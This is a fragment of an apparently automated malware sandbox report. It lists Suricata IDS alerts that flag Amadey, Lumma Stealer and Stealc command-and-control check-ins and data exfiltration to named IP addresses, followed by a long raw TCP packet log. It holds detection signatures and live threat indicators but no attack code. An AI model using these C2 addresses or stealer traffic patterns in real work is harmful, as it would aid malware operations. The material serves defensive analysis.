kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T20:23:05.271671+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-23T20:23:09.884848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	185.215.113.16	80	TCP
2024-11-23T20:23:15.381281+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-23T20:23:16.773685+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49776	185.215.113.43	80	TCP
2024-11-23T20:23:16.970947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:17.708037+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:17.708037+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49777	104.21.33.116	443	TCP
2024-11-23T20:23:18.298997+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	185.215.113.16	80	TCP
2024-11-23T20:23:19.080364+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:19.933584+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:19.933584+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49784	104.21.33.116	443	TCP
2024-11-23T20:23:21.770577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49790	104.21.33.116	443	TCP
2024-11-23T20:23:23.040609+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49790	104.21.33.116	443	TCP
2024-11-23T20:23:24.436749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49800	104.21.33.116	443	TCP
2024-11-23T20:23:25.255522+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49802	185.215.113.43	80	TCP
2024-11-23T20:23:26.738235+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49807	185.215.113.16	80	TCP
2024-11-23T20:23:26.776802+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49808	104.21.33.116	443	TCP
2024-11-23T20:23:28.965551+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49810	185.215.113.206	80	TCP
2024-11-23T20:23:30.031959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49816	104.21.33.116	443	TCP
2024-11-23T20:23:31.036860+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	104.21.33.116	443	TCP
2024-11-23T20:23:31.799370+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49817	104.21.33.116	443	TCP
2024-11-23T20:23:31.799370+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49817	104.21.33.116	443	TCP
2024-11-23T20:23:32.303527+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49822	185.215.113.43	80	TCP
2024-11-23T20:23:33.112684+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	104.21.33.116	443	TCP
2024-11-23T20:23:33.423483+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49825	104.21.33.116	443	TCP
2024-11-23T20:23:34.224083+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49827	185.215.113.16	80	TCP
2024-11-23T20:23:34.605869+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49825	104.21.33.116	443	TCP
2024-11-23T20:23:34.605869+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49825	104.21.33.116	443	TCP
2024-11-23T20:23:37.461330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49839	104.21.33.116	443	TCP
2024-11-23T20:23:40.933458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	104.21.33.116	443	TCP
2024-11-23T20:23:42.723707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	104.21.33.116	443	TCP
2024-11-23T20:23:43.306332+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-11-23T20:23:43.701793+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49859	104.21.33.116	443	TCP
2024-11-23T20:23:44.691400+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49861	185.215.113.206	80	TCP
2024-11-23T20:23:44.693485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-23T20:23:45.475734+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49870	185.215.113.16	80	TCP
2024-11-23T20:23:48.152414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49881	104.21.33.116	443	TCP
2024-11-23T20:23:51.737169+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-23T20:23:56.105835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49905	104.21.33.116	443	TCP
2024-11-23T20:23:56.722991+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49905	104.21.33.116	443	TCP
2024-11-23T20:23:58.450830+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49910	185.215.113.16	80	TCP
2024-11-23T20:24:09.267381+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49955	TCP
2024-11-23T20:24:09.276000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49963	31.41.244.11	80	TCP
2024-11-23T20:24:11.843495+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49969	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 20:22:03.477756977 CET	49675	443	192.168.2.4	173.222.162.32
Nov 23, 2024 20:22:16.633754015 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:16.633794069 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:16.633966923 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:16.635947943 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:16.635967970 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:18.212413073 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:18.215591908 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:18.215783119 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:18.215790987 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:18.216283083 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:18.259392023 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:19.801526070 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:19.847362995 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322663069 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322698116 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322709084 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322727919 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322756052 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:20.322788000 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322829008 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.322844982 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:20.322855949 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:20.322876930 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:20.343672991 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.343740940 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:20.343755960 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.343775988 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:20.343831062 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:21.718730927 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:21.718780994 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:21.718799114 CET	49730	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:21.718808889 CET	443	49730	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:56.373941898 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:56.373974085 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:56.374051094 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:56.374413013 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:56.374427080 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.219450951 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:58.219495058 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:58.219593048 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:58.219964027 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:58.219985008 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:58.234951973 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.235047102 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.238801003 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.238811970 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.239207029 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.247909069 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.291378975 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.742077112 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.742110014 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.742127895 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.742292881 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.742305994 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.742357969 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.933804989 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.933835983 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.933890104 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.933901072 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.933937073 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.933957100 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.982294083 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.982338905 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.982382059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.982388973 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:58.982428074 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:58.982439995 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.128177881 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.128210068 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.128247976 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.128259897 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.128297091 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.128312111 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.165806055 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.165827990 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.165867090 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.165874004 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.165900946 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.165926933 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.188251019 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.188271999 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.188337088 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.188344955 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.188374043 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.188385963 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.224776983 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.224798918 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.224859953 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.224867105 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.224900961 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.224909067 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.325355053 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.325378895 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.325428963 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.325437069 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.325468063 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.325489044 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.347845078 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.347876072 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.347929955 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.347935915 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.347974062 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.347989082 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.361423016 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.361443996 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.361514091 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.361521959 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.361568928 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.373646975 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.373670101 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.373764038 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.373771906 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.373815060 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.385181904 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.385201931 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.385256052 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.385266066 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.385303974 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.385324955 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.397342920 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.397365093 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.397440910 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.397448063 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.397494078 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401025057 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.401112080 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401118994 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.401137114 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.401165009 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401197910 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401243925 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401243925 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.401257038 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.401267052 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.445955992 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.445976973 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.446054935 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.448935032 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.448952913 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.449003935 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.449013948 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.449106932 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.449124098 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450339079 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450390100 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.450438023 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450649023 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450660944 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.450774908 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450787067 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.450900078 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.450917959 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.451018095 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.451056957 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.451987982 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.452012062 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.452071905 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.452233076 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:22:59.452259064 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:22:59.912489891 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:59.912574053 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:59.914192915 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:59.914201975 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:59.914437056 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:22:59.924434900 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:22:59.967376947 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.599061966 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.599095106 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.599168062 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.599173069 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.599200010 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.599221945 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.599250078 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.636605024 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.636666059 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.636689901 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.636707067 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.636732101 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.636868954 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:00.636924982 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.637049913 CET	49737	443	192.168.2.4	20.12.23.50
Nov 23, 2024 20:23:00.637064934 CET	443	49737	20.12.23.50	192.168.2.4
Nov 23, 2024 20:23:01.232048988 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.234502077 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.234549046 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.235184908 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.235202074 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.255173922 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.255614996 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.255645037 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.256186962 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.256195068 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.278177023 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.278546095 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.278563976 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.279007912 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.279012918 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.375631094 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.376055002 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.376070023 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.376552105 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.376557112 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.386154890 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.389281034 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.389305115 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.389817953 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.389830112 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.831589937 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.831675053 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.831731081 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.831828117 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.831978083 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.832027912 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.832068920 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.832068920 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.832103014 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.832128048 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.833304882 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.833329916 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.833345890 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.833353043 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.837393999 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837424040 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.837443113 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837488890 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.837570906 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837730885 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837730885 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837740898 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.837752104 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.837764025 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.846370935 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.846416950 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.846461058 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.846472025 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.847709894 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.847739935 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.847743988 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.847758055 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.847935915 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.847976923 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.848057985 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.850164890 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.850181103 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.850513935 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.850668907 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.850682020 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.854957104 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.854991913 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855060101 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.855084896 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855190039 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.855266094 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855289936 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855355024 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.855362892 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:01.855561972 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:01.855561972 CET	49741	443	192.168.2.4	13.107.246.63
